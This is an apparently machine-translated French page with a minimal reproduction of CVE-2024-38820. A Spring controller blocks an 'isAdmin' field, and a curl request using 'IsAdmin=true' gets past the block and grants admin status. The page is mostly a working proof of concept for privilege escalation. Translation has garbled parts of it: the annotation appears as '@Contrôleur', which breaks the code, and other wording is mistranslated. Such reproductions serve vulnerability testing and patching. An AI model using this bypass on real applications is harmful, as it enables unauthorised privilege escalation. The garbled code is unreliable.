Voici un exemple minimal pour reproduire CVE-2024-38820, montrant comment une erreur de casse dans DataBinder.disallowedFields peut permettre de définir des champs sensibles qui auraient dû être bloqués.
Configuration :Spring® Boot +Spring® Web (version vulnérable)
pom.xml – Utilisation d'une version vulnérablede Spring® (par exemple, 5.3.39)
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version> <!– Uses Spring® Framework 5.3.39 –>
</dependency>
Exemple de code
User.java
public class User {
private String username ;
private boolean isAdmin ;
// Getters and setters
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public boolean isAdmin() { return isAdmin; }
public void setAdmin(boolean isAdmin) { this.isAdmin = isAdmin; }
}
UserController.java
import org.springframework.stereotype.Controller ;
import org.springframework.web.bind.WebDataBinder ;
import org.springframework.web.bind.annotation.* ;
@Contrôleur
@RequestMapping("/user")
public class UserController {
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.setDisallowedFields("isAdmin") ; // Vise à bloquer la liaison de isAdmin
}
@PostMapping
@ResponseBody
public String createUser(@ModelAttribute User user) {
return "Nom d'utilisateur : " + user.getUsername() + ", isAdmin : " + user.isAdmin() ;
}
}
Test via Curl ou Postman
✅ Demande de coffre-fort attendue
curl -X POST http://localhost:8080/user -d "username=bob&isAdmin=true"
- Résultat (comme prévu) : isAdmin = false
→ DataBinder bloque le champ isAdmin.
❌ Contournement par variation de cas
curl -X POST http://localhost:8080/user -d "username=bob&IsAdmin=true"
- Résultat (inattendu) : isAdmin = true
→ La vérification des champs non autorisés échoue en raison d'une incompatibilité de cas.
Support technique
Documentation
Connexion
Nous contacter
